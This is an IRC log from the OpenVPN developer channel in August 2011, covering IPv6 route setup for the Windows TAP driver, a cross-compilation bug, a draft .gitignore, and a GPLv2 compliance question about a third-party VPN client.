GettingHelp – OpenVPN Community (at community.openvpn.net) 07:08 < cron2> dazo: not yet, sorry for that. Last week was hell on earth, and the week before that was "just busy". This week should be better - wife and daughter have been sent on vacation 07:08 <@mattock> I don't think we had a thorough list of those yet 07:10 < Veryevil> cron2: Should I have to generate Neighbor Advertisement packets when using the TAP-win32 driver in TUN mode. The code seems to only be in for TAP mode 07:12 < cron2> Veryevil: the code is always "in"? 07:12 < cron2> and which code, in particular? you're not making too much sense 07:13 < Veryevil> Inside the driver there is a function which generatres Neighbor Advertisement packets but I think it only works when in TAP mode as it generates the Ethernet header 07:13 < cron2> you did not listen last time 07:14 < cron2> for windows, there is no "tun" mode, windows always sees the device as "it's an ethernet interface", so windows will *always* generate and ask for neighbor discovery (and arp, for v4) packets 07:14 < Veryevil> I have set the next hop to FE80::8 07:14 < cron2> *openvpn* knows about tun/tap difference - so if *openvpn* is in tun mode, the tap driver will simulate what is needed to make windows happy 07:14 < cron2> if openvpn is in tap mode, arp/nd packets are just sent to the other side, but that will not work in tun mode 07:15 < cron2> tun mode: windows does "ethernet" <-TAP driver-> openvpn does not know about "ethernet" 07:15 < cron2> so the TAP driver has to translate - add and remove ethernet headers, answer arp, answer nd 07:16 * dazo is now convinced cron2 is a tun/tap driver expert 07:16 < Veryevil> Then for some reason I cannot get my TAP driver to answer NP Neighbor Solicitation requests with NeighborAdvertisement 07:17 < cron2> for which address is windows sending NS requests? the tap driver will only ever answer for fe80::8 NS 07:17 <@dazo> mattock: btw ... ticket #126 ... I 07:17 < Veryevil> for the address I ping e.g. 2001:1::212:7401:01:0101 07:18 < cron2> how does the route for that address look like? 07:18 <@dazo> mattock: I've noticed the discussion, and we need to dig into that one now ... looks like some kind of bug now 07:18 < cron2> ("netsh ipv6 route show") 07:18 <@mattock> yeah, I'm thinking that jamesyonan + cron2 could tackle this in a meeting 07:18 < cron2> mattock: this has nothing to do with my changes 07:18 <@mattock> actually, I was optimistic and added it to next Thursday's topic list :) 07:19 <@mattock> cron2: but you're them "man" in these things :D 07:19 <@mattock> I was thinking primarily about jamesyonan 07:19 < cron2> mattock: I think we need to bisect to find the change that caused this 07:19 <@mattock> yeah, probably 07:19 <@dazo> agreed 07:19 <@mattock> dazo: do we have bisection docs somewhere? 07:20 <@mattock> for dummies? 07:20 < cron2> or just stare at the diff whether something does optimization on packet length... 07:20 < Veryevil> No Manual 256 2001:1::/32 23 fe80::8 07:20 < Veryevil> No Manual 256 2001:1::/64 23 TUN 07:20 < Veryevil> No Manual 256 2001:1::1/128 23 TUN 07:20 <@dazo> mattock: no, not really ... but it's just three steps, roughly 07:20 < cron2> veryevil: the /64 is missing the next-hop of fe80::8 07:21 <@dazo> mattock: git bisect start <bad commit> <good commit> .... git bisect {good|bad} ... loop until git have a candidate :) 07:22 < Veryevil> Invalid nexthop parameter (fe80::8/64). It should be a valid IPv6 address 07:22 <@mattock> dazo: do you think this is good enough (for the bug reporters): http://book.git-scm.com/5_finding_issues_-_git_bisect.html 07:22 <@vpnHelper> Title: Git Book - Finding Issues - Git Bisect (at book.git-scm.com) 07:22 < cron2> veryevil: fe80::8, not fe80::8/64. just as for the /32 route 07:23 < Veryevil> netsh interface ipv6 add route 2001:1::/64 TUN fe80::8 07:24 <@dazo> mattock: that one describes it pretty well 07:24 <@mattock> dazo: ok, I'll add a comment to the ticket asking them to do a bisect 07:24 < cron2> that should work (but might fail since you have the /64 route already). Try "netsh interface ipv6 set route" to replace it, or try deleting it first, and re-adding 07:24 <@dazo> mattock: cool, thx! 07:25 <@dazo> mattock: this one is a bit deeper going ... http://progit.org/book/ch6-5.html 07:25 <@vpnHelper> Title: Pro Git - Pro Git 6.5 Git Tools Debugging with Git (at progit.org) 07:30 <@mattock> dazo: documentation here: https://community.openvpn.net/openvpn/wiki/TesterDocumentation#Reportingbugs 07:30 <@vpnHelper> Title: TesterDocumentation – OpenVPN Community (at community.openvpn.net) 07:30 <@mattock> will link that to the bug report 07:31 <@dazo> mattock: simply brilliant :) 07:31 <@mattock> I'd rather not write the same stuff again to another bug report, that's all :D 07:31 <@mattock> if that's brilliant, then so be it :P 07:33 <@dazo> heh :) 07:34 <@mattock> https://community.openvpn.net/openvpn/ticket/126 07:34 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 07:41 <@mattock> dazo: the status of VS builds can be seen from here: https://community.openvpn.net/openvpn/ticket/137 07:41 <@vpnHelper> Title: #137 (Visual Studio 2008 builds fail on "master" branch) – OpenVPN Community (at community.openvpn.net) 07:41 <@mattock> last comment contains a link to the last two patches 07:41 <@dazo> mattock: wonderful! I'll try to get a look at that soonish 07:41 <@mattock> whenever you have time 07:42 <@mattock> not in a hurry, really... although it'd be nice to be able to build Windows snapshots from "master" 07:42 < cron2> Veryevil: did you try replacing the route, instead of adding? 07:42 <@mattock> although, again, the build computer is being migrated and needs rebuilding, so no hurry :P 07:42 < cron2> veryevil: maybe you missed my last remark in the other discussion 07:44 < Veryevil> I just dont seem to be able to get the advertisments. its a windows routing issue by the looks of it. I use two commands to set up my interface 07:44 < Veryevil> netsh interface ipv6 set address TUN 2001:1::1/64 store=active 07:44 < Veryevil> netsh interface ipv6 add route 2001:1::/64 TUN fe80::8 07:45 < cron2> that should work, but the route shown above is missing the fe80::8 bit 07:46 < Veryevil> then when I ping 2001:1::212:7401:01:0101 it sends a solicitation to ff02::1:ff01:101 for the ip 2001:1::212:7401:01:0101 07:46 < cron2> the route is missing the fe80::8 bit 07:46 < cron2> the route is missing the fe80::8 bit 07:46 < cron2> the route is missing the fe80::8 bit 07:47 < cron2> so windows assumes "is directly connected" and sends the NS for the target address 07:49 < Veryevil> yeah I get that but I have the "add route 2001:1::/64 TUN fe80::8" but that doesn't seem to add fe80::8 as the gateway 07:49 < cron2> does the route succeed? you said above it would give an error message 07:49 < Veryevil> it says ok 07:50 < cron2> could you delete it, re-add it, and look at "netsh int ipv6 route print" (or what it's called) again, please? 07:50 * cron2 has no windows around to actually test this right now - my test VM is at home and off 07:51 < Veryevil> Publish Type Met Prefix Idx Gateway/Interface Name 07:51 < Veryevil> ------- -------- --- ------------------------ --- ------------------------ 07:51 < Veryevil> No Manual 256 ::1/128 1 Loopback Pseudo-Interface 07:51 < Veryevil> 1 07:51 < Veryevil> No Manual 256 2001:1::/64 23 TUN 07:51 < Veryevil> No Manual 256 2001:1::/64 23 fe80::8 07:51 < Veryevil> No Manual 256 2001:1::1/128 23 TUN 07:51 -!- Veryevil was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 07:51 < cron2> *sigh* 07:51 <@d12fk> so much for that 07:51 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 07:51 <@d12fk> re =) 07:51 < cron2> can we tune that thing to be not such aggressive in here? that's fine in #openvpn, but 10 lines should be allowed here 07:52 < cron2> veryevil: the problem is, now you have two routes for the /64 07:52 < Veryevil> http://pastebin.com/MPEyVxB7 07:52 < Veryevil> ok so I need to get rid of the other one 07:53 < cron2> try deleting the route without the fe80::8... (yes) 07:56 < Veryevil> thats looking promising. I'm not seeing ping requests! though i haven't seen and advertisment 07:57 < cron2> not seeing pings is not so good either. how's the table looking now? 07:58 < Veryevil> http://pastebin.com/UwNXb7P2 07:58 < Veryevil> sorry I am seeing ping requests 07:59 < cron2> ah. In that case I'd say "solved, case closed"? ;-) 07:59 < cron2> the advertisement won't be visible on the "user side" - you'll see it in wireshark, but not in (e.g.) openvpn 07:59 < Veryevil> yeah I guess so. Once again it was bloody routing that messed me up. Thats great 08:00 < cron2> as long as it's not "bug in my code", I'm not complaining :) 08:00 < Veryevil> I didnt see it in wireshark but I see the ping request 08:01 < cron2> mmmh. did you see the NS? 08:01 < cron2> (maybe windows already had the fe80::8 neighbor cached, and didn't need to re-ask) 08:02 < Veryevil> lets hope 08:02 < cron2> one thing to keep in mind is that windows likes to keep stuff around, so I add the routes with "store=active" as well in recent code 08:03 < Veryevil> I was just wondering isnt 2001::\64 an internet address that I should buy a subset of from an internet provider 08:03 < Veryevil> kk 08:03 < cron2> 2001::/32 is address space reserved for Teredo networking 08:03 < Veryevil> is there a range for internal networks that I can just choose e.g. 192.168 08:03 < cron2> if you want "internal" addresses, look at RFC 4193, ULA-Local 08:04 < cron2> (fd<48 random bits>::/48) 08:04 < Veryevil> you can quote RFC numbers? 08:04 < Veryevil> lol 08:04 < cron2> I have the rfc-index.txt file lying around, and knew what I was looking for :) 08:05 < Veryevil> so that is just equivelent to a local network such as 10.0.0.0 or 192.168.0.0 then 08:05 < cron2> yes 08:06 < cron2> it's just that the space is much larger, and there's a formula how to generate 40 bits of "uniqueness" to reduce the risk of address collisions 08:06 < cron2> so the prefix is always FD.... and then there's 40 bits generated from mac address, timestamp, ... to form a "very much likely collision-free" /48 08:06 < Veryevil> and the TAP driver will be ok with an FDxx::\64 range 08:08 < Veryevil> thank you once again you habe been great 08:08 < cron2> I admit I have never tried fd... yet, but the driver does not care - and I *think* Windows should also be fine, since it's well-defined space 08:09 < cron2> (AVM boxes use that for internal IPv6 if the provider has no IPv6) 08:09 < Veryevil> ok well that should be everything I need, just need to get the 6lowpand devices to reply to the correct server address 08:09 < Veryevil> thanks 08:14 * cron2 drives home "will be back in an hour or so" 09:21 -!- Veryevil [~Veryevil@83.166.186.218] has quit [] 09:22 <@d12fk> mattock: is it ok if i ignore the python buildsystem while developing the patch for ticket 24? 11:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:28 <@dazo> d12fk: how come such a fix will impact the build system? 11:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:57 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o andj__] by ChanServ 11:59 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 11:59 -!- andj__ is now known as andj 12:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:03 <@mattock> d12fk: fixing #24 should not affect the buildsystem and if it does, no problem 12:03 <@mattock> I'll fix any issues that arise 13:10 -!- dazo is now known as dazo_afk 13:32 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 252 seconds] 14:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:10 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 21:43 <@vpnHelper> RSS Update - wishlist: update on the requested protocol <http://forums.openvpn.net/topic8613.html> --- Day changed Tue Aug 09 2011 02:22 <@d12fk> dazo: the wpad api is not in mingw yet, so I'll have to check in configure 02:22 <@d12fk> and maybe even other APIs 02:23 <@d12fk> mattock: on second thought, the windows header will have them for sure, so there won't be any need to fix the python buildsys 03:58 -!- dazo_afk is now known as dazo 04:02 -!- Veryevil [~Veryevil@83.166.186.162] has joined #openvpn-devel 04:25 -!- dazo is now known as dazo_afk 04:26 -!- dazo_afk is now known as dazo 04:47 -!- dazo is now known as dazo_afk 04:47 -!- dazo_afk is now known as dazo 05:15 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:25 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 10:19 -!- Veryevil [~Veryevil@83.166.186.162] has quit [] 12:26 -!- dazo is now known as dazo_afk 15:12 -!- d303k [~heiko@88.130.222.238] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+o d303k] by ChanServ 15:13 <@d303k> master is broken when (cross) compiling for windows 15:14 <@d303k> x86_64-w64-mingw32-gcc -DHAVE_CONFIG_H -I. -I/home/heiko/src/tar/openssl-1.0.0c/w64/include -I/home/heiko/src/tar/lzo-2.05/w64/include -I. -DWIN32_LEAN_AND_MEAN -g -O2 -MT socket.o -MD -MP -MF .deps/socket.Tpo -c -o socket.o socket.c 15:14 <@d303k> socket.c: In function 'add_in6_addr': 15:14 <@d303k> socket.c:2642:17: error: 'struct in6_addr' has no member named '__u6_addr' 15:14 <@d303k> socket.c:2643:6: error: 'struct in6_addr' has no member named '__u6_addr' 15:18 <@d303k> according to http://msdn.microsoft.com/en-us/library/ms738560%28v=vs.85%29.aspx stuct in6_addr doesn't have a s6_addr32 member in Windows 15:18 <@vpnHelper> Title: in6_addr Structure (Windows) (at msdn.microsoft.com) 15:19 <@d303k> however the block handling this situation at socket.c:2625 need to be adapter to win32 15:19 <@d303k> mattock: have you come across this problem with your native nightly builds? 15:28 <@d303k> it's broken since 15:28 <@d303k> commit 512cda46b0f65f388e24436cd28d44bdc90fe985 15:28 <@d303k> Author: Gert Doering <gert@greenie.muc.de> 15:28 <@d303k> Date: Thu Jan 7 14:51:40 2010 +0100 15:29 <@d303k> + * socket.c: rework add_in6_addr() to use 32-bit access to struct in6_addr 15:29 <@d303k> + (Solaris has no 16-bit values in union, but this is more elegant as well) 15:42 <@d303k> hm, probably best to let cron figure out a fix 15:55 -!- d303k [~heiko@88.130.222.238] has quit [Quit: Konversation terminated!] 18:50 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 18:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 18:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Wed Aug 10 2011 02:05 <@vpnHelper> RSS Update - wishlist: another request <http://forums.openvpn.net/topic8625.html> 02:46 -!- dazo_afk is now known as dazo 03:22 <@d12fk> is cron on vacation? 03:26 <@dazo> d12fk: I don't think so 03:26 <@d12fk> found another issue on windows 03:26 <@dazo> Yeah, I'm looking at that commit 03:27 <@d12fk> no, I mean _another_ one =) 03:27 <@dazo> ahh 03:27 <@d12fk> fix to mailing list? 03:27 <@dazo> yeah, do that 03:27 <@dazo> cron2 will definitely respond if the subject says something with IPv6 :-P 03:28 <@dazo> you can also Cc him directly if it's related to his patches 03:28 <@d12fk> he'll pick it up from the list 03:29 <@dazo> yeah, he usually does :) 03:29 <@dazo> I usually use Cc to point at people who is expected to respond :) 03:29 <@d12fk> i'll fix the other one as well then 03:29 <@dazo> cool! 03:30 <@dazo> cron2 is good at ACK/NACK - with pretty good reasons, even 03:31 <@d12fk> is there a reason there's no .gitignore in git? 03:32 <@dazo> no, not really ... just haven't put together a decent list which covers all platforms in a good way 03:33 <@d12fk> I'll propose a incomplete one then 03:33 <@dazo> I've put some things I got annoyed by in .git/info/exclude 03:33 <@dazo> *.[oa] 03:33 <@dazo> *~ 03:33 <@dazo> *.so 03:33 <@dazo> .conf 03:33 <@dazo> Makefile 03:33 <@d12fk> and how about editor dotfiles? 03:33 <@d12fk> is there a policy to keep then out 03:34 <@d12fk> i could also add a .kateconfig which would make kde users happy editors 03:34 <@d12fk> well, as happy as me at least =) 03:55 <@dazo> I'd say that such editor related files should probably be kept out ... you can put them into your own .git/info/exclude ... which is local to only you 03:55 * dazo tries to keep things as neutral as possible 04:14 <@d12fk> if that's the policy, that's the policy 04:15 <@d12fk> the other way to handle it would be to include any .editorrc one can come up with 04:16 <@d12fk> but that'll probably end in a mess 04:16 <@dazo> yeah, that's why I want to keep things neutral :) 04:16 <@dazo> and why .git/info/exclude is the blessed solution :) 04:18 <@d12fk> i put a .kateconfig into the gui git - the dirrty way =) 04:19 <@dazo> heh 04:20 -!- Essobi_ [~Essobi@74-128-75-198.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 04:34 <@d12fk> how about this .gitignore http://pastebin.com/vZwxq54W? 04:35 <@d12fk> that's from a mingw cross build 04:35 <@d12fk> cygwin, unix and msvc might spilt out a couple more files to add 04:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 04:54 <@dazo> d12fk: goot start ... I see you have Makefile{,.in} more times, isn't it enough to just have the one without any directory path? 04:55 <@d12fk> i'll try 04:56 <@d12fk> it is 04:56 <@d12fk> so a top level *.exe will do as well 04:56 <@dazo> yeah, I think so 04:58 <@d12fk> *.in will do 04:58 <@dazo> I'd probably prefer to be more specific on *.in 04:59 <@d12fk> wrong for openvpn.spec.in t_client.sh.in 04:59 <@dazo> as *.in files shall be in the repo 04:59 <@dazo> git ls-tree master | grep t_client.sh 04:59 <@dazo> 100755 blob b2739644abc892c4fbe1636b1dad1c4061ab80e0 t_client.sh.in 04:59 <@dazo> $ git ls-tree master *.in 04:59 <@dazo> 100644 blob c5178e93cb0c5ef95698eefa68ebeccc84fd67ac openvpn.spec.in 04:59 <@dazo> 100755 blob b2739644abc892c4fbe1636b1dad1c4061ab80e0 t_client.sh.in 05:01 <@d12fk> shorter one: http://pastebin.com/ymKepK6i 05:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:03 <@dazo> d12fk: that one looks fine for me! 05:04 <@d12fk> could you please check if it covers a linux build as well 05:04 <@d12fk> man pages come to mind 05:05 <@dazo> man pages are not generated, it uses the .8 file directly 05:05 <@d12fk> ok 05:05 <@dazo> (and doesn't even compress it) 05:05 <@d12fk> what a waste of precious disk space =) 05:05 <@dazo> hehe 05:07 <@dazo> d12fk: I replaced *.o with these two: 05:07 <@dazo> *.[oa] 05:07 <@dazo> *.so 05:08 <@d12fk> copy 05:09 <@d12fk> hm, what are the plugins in windows? linked in? 05:09 <@dazo> .dll 05:09 <@dazo> I see the SVN tree has some more 05:09 <@dazo> (ignore stuff ,that is) 05:09 <@d12fk> do they have to be --enabled? 05:09 <@dazo> *.obj 05:10 <@d12fk> thats for msvc 05:10 <@dazo> nope, you need to compile the plug-ins manually ... from plugin/* 05:10 <@d12fk> ah that's why i have no .dll 05:10 <@dazo> yeah, most likely :) 05:12 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:12 <@d12fk> here comes http://pastebin.com/ZGkk4QtK 05:12 <@dazo> ACK 05:13 <@d12fk> let's have mattock check with the py buildsys before i post it 05:14 <@dazo> mattock: ^^^ can you try to put that pastebin into .gitignore on a winbuild box ... and do a build ... see if 'git status' reports some "build related temp files" ... 05:27 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 255 seconds] 05:39 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 06:15 <@mattock> dazo, d12fk: I'll verify that as soon as build comp is up and configured again (migration) 06:18 <@d12fk> mattock: ok thanks 06:19 <@d12fk> will patches sent be checked with the buildslaves before then are mergen into master? 06:27 <@d12fk> mattock: i just noticed that the pastebin will expire after one day. You might want to grab the list now 06:28 <@mattock> d12fk: I'll copy and paste the stuff, thanks 07:09 <@mattock> d12fk: how does/did the old GUI interact with OpenVPN? 07:09 <@mattock> I'm trying to figure out if proXPN's (http://www.proxpn.com/download.php?os=Windows) Windows client triggers the GPLv2 license 07:09 <@vpnHelper> Title: proXPN - Create a FREE VPN Account - Secure your internet connection instantly. (at www.proxpn.com) 07:09 <@d12fk> does: mgmt itf / did: redirecting stdin/stdout 07:10 <@mattock> ok 07:11 <@d12fk> what has it to do with openvpn? 07:12 <@d12fk> and the gui? 07:26 <@dazo> mattock: I'd look closely on their licence agreement ... here it needs to state that OpenVPN is not covered by this license, and that OpenVPN is GPLv2 ... then I could try to ask for the source code from them, to see what we get 07:28 <@dazo> mattock: but I'd get the OpenVPN legal people to check up this company more carefully ... proXPN seems very fishy, in regards to licenses 07:29 <@mattock> the thing is, I asked them about their Windows client earlier (a few months back), but didn't get an adequate response 07:29 <@mattock> also, they've released their modified version of Tunnelblick, which includes their version of OpenVPN 07:29 <@dazo> it doesn't matter how they use OpenVPN ... if they use openvpn source code or precompiled binaries, they still need to stay aligned with GPLv2 on the OpenVPN parts anyway .... 07:30 <@mattock> yeah, they're complying now, but the question is whether their Windows client is subject to GPLv2, too 07:30 <@dazo> if they have their own version of OpenVPN, they are required to provide those changes in source code format upon request, that's according to GPLv2 07:31 <@mattock> true, afaik they're doing it now: http://proxpn.com/download_source.php 07:31 <@vpnHelper> Title: proXPN - Create a FREE VPN Account - Secure your internet connection instantly. (at proxpn.com) 07:31 <@mattock> the only fishy thing remaining is the Windows client 07:31 <@mattock> I'll take a look at their license agreement, though... and suggest changes if needed 07:32 <@dazo> that source code is only the Tunnelblick source code, it seems 07:32 <@dazo> hehe .... "Because we're eager to work together with the community on VPN solutions (and in accordance with the terms of the GPLv2 license) we're making the source code for Tunnelblick and OpenVPN freely available for anyone to download" 07:33 * dazo reads: "Because we're forced to give you the source code, here it is ... but we wish we didn't have to" 07:35 <@mattock> oh, they've been sloppy with GPLv2 and OpenVPN... I'll remind them about section 3 :D 07:36 <@dazo> mattock: look at this: 07:36 <@dazo> Q: Can I use an OpenVPN client instead of yours? 07:36 <@dazo> A: While it is theoretically possible, we strongly recommend against this (you'll get much better performance with our client) and offer no support for it. But you're welcome to try it if you like. You'll just need to create an account first. 07:36 <@dazo> http://www.proxpn.com/faq.php 07:36 <@vpnHelper> Title: proXPN - FAQ - Read questions and answers about our free VPN. (at www.proxpn.com) 07:36 <@dazo> If this is true, they have most likely done changes in OpenVPN, which we should be allowed to see 07:37 <@dazo> And if the performance argument isn't true ... OpenVPN Tech could ask this company why they try to make OpenVPN sound worse than what it is ... 07:37 <@mattock> yep 07:38 <@mattock> I'll ask about that, too 07:38 <@mattock> if they try to avoid the questions again, perhaps it time to start threatening instead of asking 07:38 <@dazo> yeah, sounds so 07:39 <@dazo> LOL .... "* PPTP VPN - available via upgrade to proXPN Premium " .... so pptp is a premium feature, a protocol which is less secure than OpenVPN! 07:39 <@dazo> http://www.proxpn.com/features.php 07:39 <@vpnHelper> Title: proXPN - Features - Check out the security and privacy benefits of our VPN. (at www.proxpn.com) 08:07 <@d12fk> if they hacked their own gui it's theirs talking to the mgmt itf isn't subject to gpl 08:07 <+ecrist> dazo: it's premium because they use it to support mobile devices 08:07 <@mattock> dazo: added you to BCC of the proXPN mail 08:08 <@mattock> d12fk: they're not using the mgmt interface 08:08 <@mattock> the whole thing smells fishy 08:08 <@dazo> mattock: thx! 08:08 <@mattock> I was much less kind to them than earlier 08:08 <@d12fk> mattock: how do they talk to ovpn then? 08:08 <@mattock> d12fk: not sure, they avoided the question the last time 08:08 <@mattock> for all I know, they could have integrated the GUI to OpenVPN on code level 08:09 <@mattock> or something 08:09 <@d12fk> ick 08:09 <@d12fk> if nothing helps harald's gpl-violations.org threatening them will 08:10 <@d12fk> i wonder why they are so strange with their code 08:11 <@d12fk> the money is in providing the server isn't it? 08:11 <@mattock> yeah 08:11 <@mattock> i don't see any good reason for witholding the code 08:11 <@mattock> especially if it's not even modified 08:11 <@d12fk> probably just a closed source mindset 08:11 <@dazo> mattock: good mail! 08:11 <@mattock> dazo: thx! 08:12 * dazo pays attention to a meeting now 08:12 -!- dazo is now known as dazo|mtg 08:12 <@mattock> I'll take a look at their binary now too see how fishy it is 08:13 <@d12fk> hm, where's my [0/2] 08:14 <@mattock> they've built their own version of 2.2.0 with MinGW 08:14 <@d12fk> may to go! =) 08:14 <@d12fk> m->w 08:15 <@mattock> yep 09:09 -!- dazo|mtg is now known as dazo 09:12 <@dazo> hmmm ... that does smell fishy 09:42 <@dazo> d12fk: is IN6_ARE_ADDR_EQUAL() called often? 09:43 * dazo has a vague feeling d12fk version is more CPU cycle friendly than the suggested memcmp() alternative 09:43 <@dazo> but is willing to trade readability for performance if it's not called too often 09:44 <@dazo> kind of "on each connection init" vs "each packet passing the tunnel" 09:45 <@d12fk> dazo: that's was I think, however openvpn is not very cpu cycle friendly anyways 09:46 <@dazo> yeah, that's why I'm careful to add even more CPU cycles on intensive places 09:46 <@d12fk> aand.. i think the eglibc version is readable as well 09:46 <@dazo> hehe ... I will not argue on that, I didn't say your version was unreadable ... the other one was just easier to read 09:46 <@d12fk> however, i've no strong feeling for one or the other 09:47 <@dazo> I'm leaning towards the eglibc version, tgh ... but I'll probably make a little benchmark before I really vote :) 09:48 <@d12fk> you the gitkeeper so it's your call 09:48 <@dazo> [OT] - you know you've done too much sh scripting when you start a fresh C file with #!/bin/sh 09:49 <@dazo> (instead of #include" 09:49 <@dazo> ) 09:49 <@d12fk> #!/usr/bin/gcc would be waay too much =) 09:49 <@dazo> hehehe 10:15 <@dazo> d12fk: I just did a simple "time ./a.out" test ... using memcpy and your approach .... performance wise, it's no real difference - we're talking ms on 100 billion iterations 10:20 <@d12fk> compilers seem to do a good job todays 10:20 <@dazo> yeah 10:21 <@dazo> even with "third party" libraries as glibc :) 10:33 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:07 -!- dazo is now known as dazo_afk 12:30 -!- Axeman [~thirdchoi@openvpn/user/axeman] has joined #openvpn-devel 13:10 <@raidz> mattock: jupiterisland is almost ready for you. I just installed all ddk and wdk's , will be installing visual studio 2008 pro momentarily. Will send you creds to e-mail 13:10 <@raidz> this new server will be up for good ;-) I threw it on one of our faaaast nodes 13:49 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:49 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:49 <@cron2> re 14:10 -!- Axeman [~thirdchoi@openvpn/user/axeman] has quit [Ping timeout: 258 seconds] 14:36 <@mattock> raidz: great, thanks! 14:44 <@raidz> np, everything is installed now, creating you an account 14:44 <@raidz> mattock: ^^ 15:05 <@raidz> mattock: e-mail sent 15:05 <@mattock> raidz: thanks! 15:05 <@raidz> np 15:06 <@mattock> I got a few patches I need to test with the Python build system, so much appreciated! 15:06 <@raidz> No problem, let me know if you need anything else added 15:06 * cron2 won't make tomorrow's meeting (if there is one) 15:06 <@raidz> I have all updates donw, installed ddk and wdk and visual studio 2008 pro 15:06 <@raidz> *done 15:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:37 <@cron2> where is dazo these days...? 15:38 * cron2 wants to remind him about the windows build fix patch (for the s6_addr32 problem) that was sent to the list on *May 31*... 17:20 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] --- Day changed Thu Aug 11 2011 00:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:22 -!- dazo_afk is now known as dazo 02:22 <@dazo> cron2: hey! 02:22 * dazo is trying to stay afloat in all his tasks :/ 02:27 <@mattock> andj: can you make the meeting today @17:00 UTC? 02:27 <@andj> yup, I've planned for that 02:50 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-08-11 02:50 <@vpnHelper> Title: Topics-2011-08-11 – OpenVPN Community (at community.openvpn.net) 02:54 <@mattock> dazo: if you need any help tracking down patches to merge into Git, let me know 03:21 <@mattock> andj: I found an old email from you, which inspired me to add a new Wiki page: https://community.openvpn.net/openvpn/wiki/UsingPolarSSL 03:21 <@vpnHelper> Title: UsingPolarSSL – OpenVPN Community (at community.openvpn.net) 03:28 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 03:28 <@mattock> mailed jamesyonan regarding today's meeting 04:01 <@andj> mattock: cool, I'd added some of that stuff to README.polarssl too: https://github.com/andj/openvpn-ssl-refactoring/blob/f543aafc52d8885c36ced7bf0eb74919dc6bb75f/README.polarssl 04:01 <@vpnHelper> Title: README.polarssl at f543aafc52d8885c36ced7bf0eb74919dc6bb75f from andj/openvpn-ssl-refactoring - GitHub (at github.com) 04:03 <@andj> PolarSSL 1.0.0 is now out :) 04:04 <@andj> which means that I need to make some changes to the codebase 04:04 <@andj> to support the slightly changed API 06:09 <@dazo> mattock: at some point some patch tracking would help yes ... however, I'm very much surprised cron2 stuff isn't merged in yet - I was pretty sure that was quite synced up already 06:10 * dazo probably need a quiet weekend to go through stuff 06:11 <@dazo> cron2: any chance you could look at the tmp/svn-merger ... I don't dare to touch master too much yet, before james' stuff is all merged in ... it took me two days to go through all the conflicts - because his tree is so outdated 06:12 <@mattock> andj: added mention of that README to the Wiki page 06:12 <@mattock> dazo: I'm wondering if we're at a point where we have to stop taking in patches from james - until he rebases his work on "master"? 06:13 <@mattock> two days sounds like _a lot_ of unnecessary work 06:13 <@dazo> yeah, it's the worst conflict I've ever had to go through .... well, I don't think he has done anything else in his SVN tree 06:13 <@dazo> from now on, I'm just going to pull down separate patches, and apply them individually 06:13 <@mattock> a README file/man page? 06:47 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 06:49 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 08:29 <@mattock> build environment setup again 08:30 <@mattock> I'll test the patches that came to the ml a few days ago 08:30 <@dazo> mattock: if you could test the gitignore stuff from d12fk, he could mail that to the ML too if it looks good for you 08:30 <@mattock> 